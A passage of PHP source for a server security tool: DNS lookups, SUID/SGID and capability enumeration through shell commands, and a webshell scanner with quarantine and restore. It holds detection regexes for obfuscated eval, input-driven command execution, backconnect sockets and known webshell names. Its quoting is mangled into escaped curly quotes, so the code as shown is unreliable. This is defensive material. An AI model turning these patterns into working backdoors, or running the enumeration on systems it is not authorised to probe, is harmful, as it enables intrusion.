$out = \”=== CODEC ($mode) ===\\n\\n\” . $result;
return array(\’ok\’ => true, \’output\’ => $out, \’result\’ => $result);
}
function secDns($host, $type)
{
$host = trim($host);
if ($host === \’\’ || !preg_match(\’/^[a-zA-Z0-9.\\-_]+$/\’, $host)) {
return array(\’ok\’ => false, \’error\’ => \’Invalid hostname\’);
}
if (!function_exists(\’dns_get_record\’)) {
return array(\’ok\’ => false, \’error\’ => \’dns_get_record() not available\’);
}
$type = strtoupper(trim($type));
$map = array(
\’A\’ => DNS_A, \’AAAA\’ => DNS_AAAA, \’MX\’ => DNS_MX, \’TXT\’ => DNS_TXT,
\’NS\’ => DNS_NS, \’CNAME\’ => DNS_CNAME, \’SOA\’ => DNS_SOA, \’PTR\’ => DNS_PTR,
);
$lines = array(\’=== DNS LOOKUP: \’ . $host . \’ ===\’, \’\’);
if ($type === \’ALL\’) {
foreach ($map as $label => $const) {
$recs = @dns_get_record($host, $const);
if (!empty($recs)) {
$lines[] = \’— \’ . $label . \’ —\’;
foreach ($recs as $r) {
$lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
$lines[] = \’\’;
}
}
} else {
if (!isset($map[$type])) return array(\’ok\’ => false, \’error\’ => \’Invalid record type\’);
$recs = @dns_get_record($host, $map[$type]);
if (empty($recs)) {
$lines[] = \'(no \’ . $type . \’ records)\’;
} else {
foreach ($recs as $r) {
$lines[] = json_encode($r, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}
}
}
if (count($lines) <= 2) $lines[] = \'(no records found)\';
return array(\'ok\' => true, \’output\’ => implode(\”\\n\”, $lines));
}
function secSuidFind($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
if ($isWin) {
return array(\’ok\’ => true, \’output\’ => \”=== SUID/SGID SCAN ===\\nLinux/Unix only.\\n\”);
}
$suid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -4000 -type f 2>/dev/null | head -80\’, $baseDir);
$sgid = runTerminal(\’find /usr /bin /sbin /home /opt /tmp /var -perm -2000 -type f 2>/dev/null | head -40\’, $baseDir);
$cap = runTerminal(\’getcap -r /usr /bin /sbin 2>/dev/null | head -40\’, $baseDir);
$out = \”=== SUID BINARIES (setuid) ===\\n\” . trim($suid[\’output\’]) . \”\\n\\n\”;
$out .= \”=== SGID BINARIES (setgid) ===\\n\” . trim($sgid[\’output\’]) . \”\\n\\n\”;
$out .= \”=== CAPABILITIES ===\\n\” . trim($cap[\’output\’]);
return array(\’ok\’ => true, \’output\’ => $out);
}
function btGetScanRoots($baseDir, $scanPath)
{
$roots = array();
if ($scanPath !== \’\’) {
$resolved = resolvePath($baseDir, $scanPath, false);
if ($resolved && @is_dir($resolved)) $roots[] = $resolved;
}
if (empty($roots)) {
$roots[] = $baseDir;
$docRoot = isset($_SERVER[\’DOCUMENT_ROOT\’]) ? $_SERVER[\’DOCUMENT_ROOT\’] : \’\’;
if ($docRoot && @is_dir($docRoot)) $roots[] = $docRoot;
foreach (array(\’/var/www\’, \’/home\’, \’/tmp\’, \’/var/tmp\’, \’/opt\’, \’/srv\’, \’/usr/local\’) as $r) {
if (@is_dir($r) && !in_array($r, $roots, true)) $roots[] = $r;
}
}
return array_values(array_unique($roots));
}
function btWebshellSignatures($aggressive)
{
$sigs = array(
array(\’pattern\’ => \’/eval\\s*\\(\\s*base64_decode/is\’, \’score\’ => 45, \’name\’ => \’eval(base64_decode())\’),
array(\’pattern\’ => \’/eval\\s*\\(\\s*gz(inflate|uncompress|decode)/is\’, \’score\’ => 45, \’name\’ => \’eval(gz*)\’),
array(\’pattern\’ => \’/eval\\s*\\(\\s*str_rot13/is\’, \’score\’ => 40, \’name\’ => \’eval(str_rot13())\’),
array(\’pattern\’ => \’/eval\\s*\\(\\s*gzuncompress/is\’, \’score\’ => 45, \’name\’ => \’eval(gzuncompress)\’),
array(\’pattern\’ => \’/assert\\s*\\(\\s*\\$_(GET|POST|REQUEST|COOKIE)/is\’, \’score\’ => 45, \’name\’ => \’assert($_INPUT)\’),
array(\’pattern\’ => \’/preg_replace\\s*\\([^)]*\\/e[\”\’]/is\’, \’score\’ => 45, \’name\’ => \’preg_replace /e\’),
array(\’pattern\’ => \’/create_function\\s*\\(/is\’, \’score\’ => 35, \’name\’ => \’create_function()\’),
array(\’pattern\’ => \’/(shell_exec|system|passthru|proc_open|popen|pcntl_exec)\\s*\\([^)]*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 40, \’name\’ => \’cmd_exec($_INPUT)\’),
array(\’pattern\’ => \’/@eval\\s*\\(/is\’, \’score\’ => 35, \’name\’ => \’@eval()\’),
array(\’pattern\’ => \’/gzinflate\\s*\\(\\s*base64_decode/is\’, \’score\’ => 40, \’name\’ => \’gzinflate(base64)\’),
array(\’pattern\’ => \’/base64_decode\\s*\\(\\s*[\’\”][A-Za-z0-9+\\/=]{80,}/is\’, \’score\’ => 25, \’name\’ => \’long base64 blob\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 30, \’name\’ => \’variable func call $_INPUT\’),
array(\’pattern\’ => \’/(FilesMan|c99shell|r57shell|WSO\\s|b374k|alfa\\s*shell|AnonymousFox|IndoXploit|Gecko\\s*Shell|mini\\s*shell)/is\’, \’score\’ => 50, \’name\’ => \’known webshell brand\’),
array(\’pattern\’ => \’/move_uploaded_file\\s*\\([^)]+\\)\\s*;[\\s\\S]{0,200}(eval|assert)/is\’, \’score\’ => 35, \’name\’ => \’upload+eval\’),
array(\’pattern\’ => \’/\\$\\{\\s*[\’\”]\\x/is\’, \’score\’ => 30, \’name\’ => \’hex var obfuscation\’),
array(\’pattern\’ => \’/(passthru|shell_exec|system|exec)\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 40, \’name\’ => \’direct webshell cmd\’),
array(\’pattern\’ => \’/php:\\/\\/input/is\’, \’score\’ => 15, \’name\’ => \’php://input wrapper\’),
array(\’pattern\’ => \’/(cmd|command|exec|shell|backdoor)\\s*[\’\”]?\\s*=>\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’cmd parameter handler\’),
array(\’pattern\’ => \’/chr\\s*\\(\\s*\\d+\\s*\\)\\s*\\.\\s*chr/is\’, \’score\’ => 20, \’name\’ => \’chr() obfuscation chain\’),
array(\’pattern\’ => \’/\\$[a-zA-Z_\\x7f-\\xff]{1,8}\\s*=\\s*[\’\”][a-zA-Z0-9+\\/=]{100,}[\’\”]/is\’, \’score\’ => 15, \’name\’ => \’suspicious encoded string\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[[^\\]]+\\]\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’double $_INPUT invoke\’),
array(\’pattern\’ => \’/(include|require)(_once)?\\s*\\(\\s*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’dynamic include $_INPUT\’),
array(\’pattern\’ => \’/file_put_contents\\s*\\([^,]+,\\s*\\$_(POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’file_put from POST\’),
array(\’pattern\’ => \’/\\$[a-z_]+\\s*=\\s*str_replace\\s*\\([^)]+\\)\\s*;\\s*eval/is\’, \’score\’ => 35, \’name\’ => \’str_replace+eval\’),
array(\’pattern\’ => \’/call_user_func\\s*\\(\\s*[\’\”]assert[\’\”]/is\’, \’score\’ => 35, \’name\’ => \’call_user_func assert\’),
array(\’pattern\’ => \’/ReflectionFunction\\s*\\(/is\’, \’score\’ => 20, \’name\’ => \’ReflectionFunction\’),
array(\’pattern\’ => \’/\\$_(SERVER|FILES)\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 25, \’name\’ => \’$_SERVER/FILES invoke\’),
array(\’pattern\’ => \’/`[^`]*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’backtick cmd $_INPUT\’),
array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\s*=\\s*\\$[a-zA-Z0-9_]+\\s*\\(\\s*\\$[a-zA-Z0-9_]+\\s*\\)\\s*;\\s*\\$[a-zA-Z0-9_]+\\s*\\(/is\’, \’score\’ => 20, \’name\’ => \’variable function chain\’),
array(\’pattern\’ => \’/(cmd\\.exe|\\/bin\\/sh|\\/bin\\/bash).*\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 35, \’name\’ => \’shell binary + input\’),
array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]{1,3}\\s*=\\s*[\’\”]\\x[0-9a-f]{2}/is\’, \’score\’ => 18, \’name\’ => \’hex byte construction\’),
array(\’pattern\’ => \’/\\$GLOBALS\\s*\\[[^\\]]+\\]\\s*\\(/is\’, \’score\’ => 22, \’name\’ => \’$GLOBALS func call\’),
array(\’pattern\’ => \’/(WSO|uploader|FilesMan|Mini Shell|Bypass|Safe0ver|Locus7s)/is\’, \’score\’ => 40, \’name\’ => \’webshell keyword\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]pass[\’\”]\\]/is\’, \’score\’ => 18, \’name\’ => \’password gate $_INPUT\’),
array(\’pattern\’ => \’/fsockopen\\s*\\([^)]+\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’fsockopen backconnect\’),
array(\’pattern\’ => \’/stream_socket_client\\s*\\(/is\’, \’score\’ => 12, \’name\’ => \’stream_socket_client\’),
array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\s*=\\s*\\$\\{[^}]+\\}/is\’, \’score\’ => 18, \’name\’ => \’variable variables\’),
);
if ($aggressive) {
$sigs = array_merge($sigs, array(
array(\’pattern\’ => \’/<\\?php/is\', \'score\' => 8, \’name\’ => \’php open tag\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST|COOKIE)\\s*\\[/is\’, \’score\’ => 8, \’name\’ => \’superglobal input access\’),
array(\’pattern\’ => \’/(shell_exec|system|passthru|exec|popen|proc_open)\\s*\\(/is\’, \’score\’ => 12, \’name\’ => \’dangerous function\’),
array(\’pattern\’ => \’/base64_decode\\s*\\(/is\’, \’score\’ => 10, \’name\’ => \’base64_decode()\’),
array(\’pattern\’ => \’/(eval|assert)\\s*\\(/is\’, \’score\’ => 15, \’name\’ => \’eval/assert call\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]cmd[\’\”]\\]/is\’, \’score\’ => 25, \’name\’ => \’cmd parameter\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]0[\’\”]\\]/is\’, \’score\’ => 20, \’name\’ => \’array index 0 input\’),
array(\’pattern\’ => \’/auto_prepend_file|auto_append_file/is\’, \’score\’ => 30, \’name\’ => \’auto_prepend injection\’),
array(\’pattern\’ => \’/AddHandler\\s+application\\/x-httpd-php/is\’, \’score\’ => 25, \’name\’ => \’htaccess php handler abuse\’),
array(\’pattern\’ => \’/\\$_(GET|POST|REQUEST)\\s*\\[[\’\”]z[0-9]?[\’\”]\\]/is\’, \’score\’ => 22, \’name\’ => \’obfuscated param z*\’),
array(\’pattern\’ => \’/pack\\s*\\(\\s*[\’\”]H\\*[\’\”]/is\’, \’score\’ => 15, \’name\’ => \’pack hex decode\’),
array(\’pattern\’ => \’/strrev\\s*\\(\\s*base64_decode/is\’, \’score\’ => 28, \’name\’ => \’strrev+base64\’),
array(\’pattern\’ => \’/rawurldecode\\s*\\(\\s*base64_decode/is\’, \’score\’ => 25, \’name\’ => \’urldecode+base64\’),
array(\’pattern\’ => \’/\\$[a-zA-Z0-9_]+\\(\\$\\{?\\$_(GET|POST|REQUEST)/is\’, \’score\’ => 30, \’name\’ => \’func variable from input\’),
));
}
return $sigs;
}
function btFilenameIOCs($aggressive)
{
$iocs = array(
\’c99.php\’ => 55, \’r57.php\’ => 55, \’wso.php\’ => 55, \’wso2.php\’ => 55, \’wso1337.php\’ => 55,
\’shell.php\’ => 40, \’cmd.php\’ => 40, \’backdoor.php\’ => 55, \’b374k.php\’ => 55, \’b374.php\’ => 50,
\’alfa.php\’ => 50, \’alf.php\’ => 45, \’mini.php\’ => 25, \’uploader.php\’ => 30, \’upload.php\’ => 20,
\’x.php\’ => 25, \’xx.php\’ => 25, \’0.php\’ => 30, \’1.php\’ => 25, \’2.php\’ => 22,
\’indoxploit.php\’ => 55, \’fox.php\’ => 40, \’leaf.php\’ => 35, \’marijuana.php\’ => 50,
\’adminer.php\’ => 10, \’.user.ini\’ => 25, \’php.ini\’ => 15,
\’sym403.php\’ => 45, \’symlink.php\’ => 40, \’priv8.php\’ => 45, \’root.php\’ => 35,
\’hack.php\’ => 40, \’haxor.php\’ => 45, \’1337.php\’ => 40, \’locus.php\’ => 40,
\’c100.php\’ => 45, \’r00t.php\’ => 40, \’sh.php\’ => 35, \’bypass.php\’ => 35,
\’up.php\’ => 28, \’upl.php\’ => 28, \’filemanager.php\’ => 15, \’fm.php\’ => 30,
);
if ($aggressive) {
$iocs[\’test.php\’] = 12;
$iocs[\’tmp.php\’] = 18;
$iocs[\’cache.php\’] = 15;
$iocs[\’log.php\’] = 18;
$iocs[\’images.php\’] = 22;
$iocs[\’class.php\’] = 12;
$iocs[\’config.php.bak\’] = 30;
$iocs[\’wp-config.php.bak\’] = 35;
}
return $iocs;
}
function btFilenameHeuristics($basename, &$score, &$hits, $aggressive)
{
if (preg_match(\’/^[a-f0-9]{8,}\\.(php|phtml|inc|php5)$/i\’, $basename)) {
$score += 28;
$hits[] = \’hex-random filename\’;
}
if (preg_match(\’/^[a-z0-9]{1,2}\\.(php|phtml)$/i\’, $basename)) {
$score += 22;
$hits[] = \’short random php name\’;
}
if (preg_match(\’/\\.(jpg|jpeg|png|gif|ico|css|txt|zip|tar|gz|bmp|webp)\\.(php|phtml|php5)$/i\’, $basename)) {
$score += 38;
$hits[] = \’double extension\’;
}
if (preg_match(\’/(shell|backdoor|hack|exploit|webshell|c99|r57|wso|b374k|cmd|uploader|bypass|priv8|hax|1337|alfa|indoxploit|revshell|payload|trojan|spy|bot|nc\\.|netcat|eval|base64|gzinflate|passthru|shell_exec)/i\’, $basename)) {
$score += 20;
$hits[] = \’malware keyword in filename\’;
}
if ($aggressive && preg_match(\’/^(tmp|temp|cache|log|test|old|bak|backup|dump|upload|upl|img|image|thumb|avatar|icon|css|js|class|module|helper|init|core|loader|config|setup|update|fix|repair|restore|data|info|debug|dev|demo|sample|radio|content|about|theme|plugin|widget|gate|door|key|secret|hidden|stealth|ghost|shadow|priv|root|admin|wp-|xmlrpc|install|lock|radio|content|about)\\d*\\.(php|phtml|php5|inc)$/i\’, $basename)) {
$score += 14;
$hits[] = \’aggressive suspicious basename\’;
}
}
function btSeverityLabel($score)
{
if ($score >= 50) return \’CRITICAL\’;
if ($score >= 30) return \’HIGH\’;
if ($score >= 15) return \’MEDIUM\’;
return \’LOW\’;
}
function btScanExtensions()
{
return array(\’php\’, \’phtml\’, \’php3\’, \’php4\’, \’php5\’, \’php7\’, \’php8\’, \’phar\’, \’inc\’, \’pht\’, \’phpt\’,
\’asp\’, \’aspx\’, \’jsp\’, \’js\’, \’shtml\’, \’htaccess\’, \’cgi\’, \’pl\’, \’py\’, \’sh\’, \’rb\’, \’vb\’, \’vbs\’);
}
function btAnalyzeFile($path, $signatures, $filenameIOCs, $selfPath, $aggressive)
{
$realSelf = realpath($selfPath);
$realPath = @realpath($path);
if ($realSelf && $realPath && $realSelf === $realPath) return null;
$score = 0;
$hits = array();
$basename = strtolower(basename($path));
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$allowedExt = btScanExtensions();
if (!in_array($ext, $allowedExt, true) && $basename !== \’.htaccess\’ && $basename !== \’.user.ini\’) {
if (!$aggressive || !preg_match(\’/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|log)$/i\’, $basename)) {
return null;
}
}
foreach ($filenameIOCs as $ioc => $pts) {
if ($basename === strtolower($ioc) || ($aggressive && strpos($basename, strtolower(str_replace(\’.php\’, \’\’, $ioc))) !== false && preg_match(\’/\\.(php|phtml|php5|inc|bak)$/i\’, $basename))) {
$score += (int)$pts;
$hits[] = \’filename:\’ . $ioc;
}
}
btFilenameHeuristics($basename, $score, $hits, $aggressive);
$size = @filesize($path);
$maxRead = $aggressive ? 524288 : 98304;
$maxSize = $aggressive ? 8388608 : 5242880;
if ($size === false || $size > $maxSize) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path), \’note\’ => \’not content-scanned (large/unreadable)\’) : null;
}
$content = @file_get_contents($path, false, null, 0, min((int)$size, $maxRead));
if ($content === false || $content === \’\’) {
$minScore = $aggressive ? 10 : 15;
return ($score >= $minScore) ? array(\’path\’ => $path, \’score\’ => $score, \’severity\’ => btSeverityLabel($score), \’hits\’ => $hits, \’size\’ => $size, \’modified\’ => @filemtime($path)) : null;
}
foreach ($signatures as $sig) {
if (@preg_match($sig[\’pattern\’], $content)) {
$score += (int)$sig[\’score\’];
$hits[] = $sig[\’name\’];
}
}
if ($size < 250 && preg_match(\'/eval|assert|base64_decode|shell_exec|system\\s*\\(|passthru\\s*\\(/is\', $content)) {
$score += 28;
$hits[] = \'tiny file + dangerous func\';
}
if ($aggressive && preg_match(\'/<\\?(php|=)/i\', $content) && preg_match(\'/\\.(jpg|jpeg|png|gif|bmp|ico|svg|webp|txt|css|js)$/i\', $basename)) {
$score += 35;
$hits[] = \'php tag in non-php extension (polyglot)\';
}
if ($aggressive && preg_match_all(\'/[A-Za-z0-9+\\/=]{200,}/\', $content, $m) && count($m[0]) >= 2) {
$score += 12;
$hits[] = \’multiple long encoded blobs\’;
}
$minScore = $aggressive ? 6 : 12;
if ($score < $minScore) return null;
return array(
\'path\' => $path,
\’score\’ => $score,
\’severity\’ => btSeverityLabel($score),
\’hits\’ => array_values(array_unique($hits)),
\’size\’ => (int)$size,
\’modified\’ => @filemtime($path),
);
}
function btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth)
{
$files = array();
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === \’WIN\’;
$exts = btScanExtensions();
if (!$isWin) {
$nameParts = array();
foreach ($exts as $e) {
$nameParts[] = \’-name \’ . escapeshellarg(\’*.\’ . $e);
}
$nameParts[] = \’-name \’ . escapeshellarg(\’.htaccess\’);
$nameParts[] = \’-name \’ . escapeshellarg(\’.user.ini\’);
$nameParts[] = \’-name \’ . escapeshellarg(\’*.php*\’);
$expr = \’\\( \’ . implode(\’ -o \’, $nameParts) . \’ \\)\’;
foreach ($roots as $root) {
$cmd = \’find \’ . escapeshellarg($root) . \’ -maxdepth \’ . (int)$maxDepth . \’ \’ . $expr . \’ -type f 2>/dev/null | head -\’ . (int)$maxFiles;
$out = runTerminal($cmd, $baseDir);
foreach (explode(\”\\n\”, $out[\’output\’]) as $line) {
$line = trim($line);
if ($line !== \’\’ && @is_file($line)) $files[$line] = $line;
}
if (count($files) >= $maxFiles) break;
}
} else {
foreach ($roots as $root) {
btWalkCandidates($root, $exts, $files, 0, $maxDepth, $maxFiles);
if (count($files) >= $maxFiles) break;
}
}
return array_values($files);
}
function btWalkCandidates($dir, $exts, &$files, $depth, $maxDepth, $maxFiles)
{
if ($depth > $maxDepth || count($files) >= $maxFiles) return;
$h = @opendir($dir);
if (!$h) return;
while (($name = readdir($h)) !== false) {
if ($name === \’.\’ || $name === \’..\’) continue;
$full = $dir . DIRECTORY_SEPARATOR . $name;
if (@is_file($full)) {
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (in_array($ext, $exts, true) || $name === \’.htaccess\’ || $name === \’.user.ini\’) {
$files[$full] = $full;
}
} elseif (@is_dir($full) && $depth < $maxDepth) {
btWalkCandidates($full, $exts, $files, $depth + 1, $maxDepth, $maxFiles);
}
if (count($files) >= $maxFiles) break;
}
closedir($h);
}
function btFormatFindings($title, $findings, $scanned, $roots)
{
usort($findings, function ($a, $b) {
return (int)$b[\’score\’] – (int)$a[\’score\’];
});
$lines = array(\’=== \’ . $title . \’ ===\’, \’Roots: \’ . implode(\’, \’, $roots), \’Scanned: \’ . $scanned . \’ files\’, \’Findings: \’ . count($findings), \’\’);
if (empty($findings)) {
$lines[] = \'(no threats detected in scan scope)\’;
return implode(\”\\n\”, $lines);
}
foreach ($findings as $f) {
$mod = isset($f[\’modified\’]) ? date(\’Y-m-d H:i\’, $f[\’modified\’]) : \’-\’;
$sz = isset($f[\’size\’]) ? secFormatBytes($f[\’size\’]) : \’-\’;
$lines[] = \'[\’ . $f[\’severity\’] . \’ score:\’ . $f[\’score\’] . \’] \’ . $f[\’path\’];
$lines[] = \’ modified:\’ . $mod . \’ size:\’ . $sz . \’ signals:\’ . implode(\’, \’, $f[\’hits\’]);
if (isset($f[\’note\’])) $lines[] = \’ note:\’ . $f[\’note\’];
}
return implode(\”\\n\”, $lines);
}
function btWebshellScan($baseDir, $scanPath, $aggressive)
{
@set_time_limit(600);
$aggressive = ($aggressive === true || $aggressive === 1 || $aggressive === \’1\’ || $aggressive === \’true\’);
$roots = btGetScanRoots($baseDir, $scanPath);
$signatures = btWebshellSignatures($aggressive);
$filenameIOCs = btFilenameIOCs($aggressive);
$maxFiles = $aggressive ? 8000 : 2500;
$maxFindings = $aggressive ? 500 : 120;
$maxDepth = $aggressive ? 14 : 9;
$candidates = btCollectCandidateFiles($roots, $baseDir, $maxFiles, $maxDepth);
$findings = array();
foreach ($candidates as $file) {
$hit = btAnalyzeFile($file, $signatures, $filenameIOCs, __FILE__, $aggressive);
if ($hit) $findings[] = $hit;
if (count($findings) >= $maxFindings) break;
}
$mode = $aggressive ? \’AGGRESSIVE\’ : \’STANDARD\’;
$out = btFormatFindings(\’BACKDOOR / WEBSHELL SCAN [\’ . $mode . \’]\’, $findings, count($candidates), $roots);
$critical = 0;
foreach ($findings as $f) {
if ($f[\’severity\’] === \’CRITICAL\’ || $f[\’severity\’] === \’HIGH\’) $critical++;
}
return array(
\’ok\’ => true,
\’output\’ => $out,
\’count\’ => count($findings),
\’critical\’ => $critical,
\’scanned\’ => count($candidates),
\’findings\’ => $findings,
\’aggressive\’ => $aggressive,
);
}
function btResolveThreatPath($baseDir, $path)
{
$path = trim((string)$path);
if ($path === \’\’) return null;
if (preg_match(\’/^[A-Za-z]:/\’, $path) || (strlen($path) > 0 && $path[0] === \’/\’)) {
$real = @realpath($path);
return ($real && @is_file($real)) ? $real : null;
}
return resolvePath($baseDir, $path);
}
function btQuarantineDir($baseDir)
{
$tmp = sys_get_temp_dir();
if (!$tmp) $tmp = $baseDir;
$dir = rtrim($tmp, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . \’gecko_quarantine_\’ . substr(md5($baseDir), 0, 12);
if (!is_dir($dir)) {
@mkdir($dir, 0700, true);
}
return $dir;
}
function btManifestPath($baseDir)
{
return btQuarantineDir($baseDir) . DIRECTORY_SEPARATOR . \’manifest.json\’;
}
function btLoadManifest($baseDir)
{
$file = btManifestPath($baseDir);
if (!is_file($file)) return array();
$raw = @file_get_contents($file);
if (!$raw) return array();
$data = json_decode($raw, true);
if (!is_array($data)) return array();
$valid = array();
foreach ($data as $entry) {
if (!is_array($entry) || empty($entry[\’id\’]) || empty($entry[\’original\’])) continue;
if (!empty($entry[\’quarantine\’]) && !is_file($entry[\’quarantine\’])) continue;
$valid[] = $entry;
}
if (count($valid) !== count($data)) {
btSaveManifest($baseDir, $valid);
}
return $valid;
}
function btSaveManifest($baseDir, $entries)
{
$file = btManifestPath($baseDir);
@file_put_contents($file, json_encode(array_values($entries), JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT));
}
function btListQuarantine($baseDir)
{
$entries = btLoadManifest($baseDir);
usort($entries, function ($a, $b) {
return (int)(isset($b[\’moved_at\’]) ? $b[\’moved_at\’] : 0) – (int)(isset($a[\’moved_at\’]) ? $a[\’moved_at\’] : 0);
});
$dir = btQuarantineDir($baseDir);
$lines = array(\’=== QUARANTINE (TMP) ===\’, \’Location: \’ . $dir, \’Items: \’ . count($entries), \’\’);
foreach ($entries as $e) {
$when = isset($e[\’moved_at\’]) ? date(\’Y-m-d H:i:s\’, $e[\’moved_at\’]) : \’-\’;
$lines[] = \'[\’ . $e[\’id\’] . \’] \’ . $e[\’original\’];
$lines[] = \’ quarantined: \’ . $when . \’ → \’ . (isset($e[\’quarantine\’]) ? $e[\’quarantine\’] : \’-\’);
}
if (empty($entries)) $lines[] = \'(empty — no quarantined files)\’;
return array(
\’ok\’ => true,
\’output\’ => implode(\”\\n\”, $lines),
\’entries\’ => $entries,
\’count\’ => count($entries),
\’dir\’ => $dir,
);
}
function btDeleteThreats($baseDir, $paths)
{
$realSelf = @realpath(__FILE__);
$quarantined = array();
$failed = array();
if (!is_array($paths)) {
if (is_string($paths) && $paths !== \’\’) $paths = array($paths);
else $paths = array();
}
if (count($paths) > 200) {
return array(\’ok\’ => false, \’error\’ => \’Max 200 files per batch\’);
}
$qdir = btQuarantineDir($baseDir);
$manifest = btLoadManifest($baseDir);
foreach ($paths as $p) {
$p = trim((string)$p);
if ($p === \’\’) continue;
$resolved = btResolveThreatPath($baseDir, $p);
if (!$resolved) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Not found or not a file\’);
continue;
}
if ($realSelf && $resolved === $realSelf) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Protected (scanner itself)\’);
continue;
}
$id = substr(md5($resolved . microtime(true) . mt_rand()), 0, 16);
$safeName = preg_replace(\’/[^a-zA-Z0-9._-]/\’, \’_\’, basename($resolved));
$qpath = $qdir . DIRECTORY_SEPARATOR . $id . \’_\’ . $safeName;
if (!@rename($resolved, $qpath)) {
if (!@copy($resolved, $qpath)) {
$failed[] = array(\’path\’ => $p, \’error\’ => \’Move to quarantine failed\’);
continue;
}
@unlink($resolved);
}
$entry = array(
\’id\’ => $id,
\’original\’ => $resolved,
\’quarantine\’ => $qpath,
\’basename\’ => basename($resolved),
\’moved_at\’ => time(),
);
$manifest[] = $entry;
$quarantined[] = $entry;
}
btSaveManifest($baseDir, $manifest);
$out = \”=== QUARANTINE REPORT (moved to tmp) ===\\n\”;
$out .= \’Location: \’ . $qdir . \”\\n\”;
$out .= \’Quarantined: \’ . count($quarantined) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
foreach ($quarantined as $q) {
$out .= \'[MOVED] \’ . $q[\’original\’] . \”\\n\”;
$out .= \’ → \’ . $q[\’quarantine\’] . \’ (id:\’ . $q[\’id\’] . \”)\\n\”;
}
foreach ($failed as $f) {
$out .= \'[FAILED] \’ . $f[\’path\’] . \’ — \’ . $f[\’error\’] . \”\\n\”;
}
$out .= \”\\nFiles can be restored from Quarantine section below.\”;
return array(
\’ok\’ => true,
\’output\’ => $out,
\’quarantined\’ => $quarantined,
\’deleted\’ => array_map(function ($e) { return $e[\’original\’]; }, $quarantined),
\’failed\’ => $failed,
\’count\’ => count($quarantined),
\’dir\’ => $qdir,
);
}
function btRestoreThreats($baseDir, $ids)
{
if (!is_array($ids)) {
if (is_string($ids) && $ids !== \’\’) $ids = array($ids);
else $ids = array();
}
if (empty($ids)) {
return array(\’ok\’ => false, \’error\’ => \’No items selected to restore\’);
}
$manifest = btLoadManifest($baseDir);
$restored = array();
$failed = array();
$remaining = array();
$idSet = array_flip(array_map(\’strval\’, $ids));
foreach ($manifest as $entry) {
$eid = (string)$entry[\’id\’];
if (!isset($idSet[$eid])) {
$remaining[] = $entry;
continue;
}
$original = isset($entry[\’original\’]) ? $entry[\’original\’] : \’\’;
$qpath = isset($entry[\’quarantine\’]) ? $entry[\’quarantine\’] : \’\’;
if ($original === \’\’ || !is_file($qpath)) {
$failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Quarantine file missing\’);
continue;
}
$dest = $original;
if (is_file($dest)) {
$dest = dirname($original) . DIRECTORY_SEPARATOR . pathinfo($original, PATHINFO_FILENAME) . \’.restored.\’ . time() . (pathinfo($original, PATHINFO_EXTENSION) ? \’.\’ . pathinfo($original, PATHINFO_EXTENSION) : \’\’);
}
$parent = dirname($dest);
if (!is_dir($parent)) {
@mkdir($parent, 0755, true);
}
if (!@rename($qpath, $dest)) {
if (!@copy($qpath, $dest)) {
$failed[] = array(\’id\’ => $eid, \’path\’ => $original, \’error\’ => \’Restore failed\’);
$remaining[] = $entry;
continue;
}
@unlink($qpath);
}
$restored[] = array(\’id\’ => $eid, \’original\’ => $original, \’restored_to\’ => $dest);
}
btSaveManifest($baseDir, $remaining);
$out = \”=== RESTORE REPORT ===\\n\”;
$out .= \’Restored: \’ . count($restored) . \’ · Failed: \’ . count($failed) . \”\\n\\n\”;
foreach ($restored as $r) {
$out .= \'[RESTORED] \’ . $r[\’original\’];
if ($r[\’restored_to\’] !== $r[\’original\’]) $out .= \’ → \’ . $r[\’restored_to\’];
$out .= \”\\n\”;
}
foreach ($failed as $f) {
$out .= \'[FAILED] \’ . (isset($f[\’path\’]) ? $f[\’path\’] : $f[\’id\’]) . \’ — \’ . $f[\’error\’] . \”\\n\”;
}
return array(
\’ok\’ => true,
\’output\’ => $out,
\’restored\’ => $restored,
\’failed\’ => $failed,
\’count\’ => count($restored),
);
}
function btRecentChanges($baseDir, $scanPath, $days)
{
$days = max(1, min(90, (int)$days));
$roots = btGetScanRoots($baseDir, $scanPath);
